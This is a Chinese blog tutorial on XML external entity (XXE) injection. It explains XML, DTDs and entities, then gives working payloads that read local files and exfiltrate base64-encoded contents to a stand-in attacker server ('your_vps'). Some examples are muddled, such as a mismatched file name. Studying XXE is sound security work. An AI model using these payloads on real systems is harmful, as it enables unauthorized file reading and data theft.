XML实体注入

1 、XXE 危害
1.读取任意文件 2.执行系统命令

3.探查内网端口 4.攻击内网网站

2、关于XML

XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议

XML 和 HTML 为不同的目的而设计

3、XML实体引用

在 XML 中,一些字符拥有特殊的意义。如果把字符 "<" 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
这样会产生 XML 错误

<message>if salary < 1000 then</message>

  为了避免这个错误,用实体引用来代替 "<" 字符:

<message>if salary < 1000 then</message>

  

 

 

 

关于DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

DTD(文档类型定义)

DTD可定义合法的XML文档构建模块,来验证xml是否合法。
DTD可被声明在xml的文档中,也可以作为一个外部引用

1.当DTD在xml内部声明时,要用使用DOCTYPE语法包装声明

<!DOCTYPE 根元素 [元素声明]>

2.当DTD位于xml文档外部,引用方法

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD构建实体

内部实体声明

<!ENTITY 实体名称 "实体的值">

一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)
DTD实体声明

Xml调用

<author>&writer;©right;</author>

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
当DTD位于xml文档外部,引用外部文档声明

xml引用外部实体(引用DTD文件)

payload

<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE note [<!ENTITY % a SYSTEM "http://192.168.86.128/dtdfile.dtd"> %a;]>
 <note>&file;</note>

 虚拟机上创建DTD(dtdfile.dtd)文件

<!ENTITY file SYSTEM "file:///e:/test.txt">

  读取windows靶机e盘test.txt

 

 

无回显测试,可以将结果打到服务器上,查看日志,或则将结果保存为文件

引用远程服务器上的XML文件读取文件

payload:
xxe.xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % remote SYSTEM "http://your_vps/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

  test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://your_vps/get.php?file=%file;'>">

  参数实体引用不能出现在内部DTD的标记声明内部
使用的php://filter将文件内容进行了base64编码,因为当我们读取的文件是php或则html文件时,文件的代码包含< >符号时会导致解析错误
这里声明payload实体参数,该实体参数以base64编码方式读取了windows靶机中e盘123.txt文件内容,然后做为URL参数请求到自己的服务器上。

然后请求payload,可以在日志文件中找到经过base64编码的文件内容

 

因为文件的内容是经过base64编码的,所以可以通过解码查看获取的内容

 

 xml不仅可以任意读取文件,执行系统命令,探测内网端口和攻击内网网站

posted @ 2018-07-06 23:26  一世安然L  阅读(377)  评论(0)    收藏  举报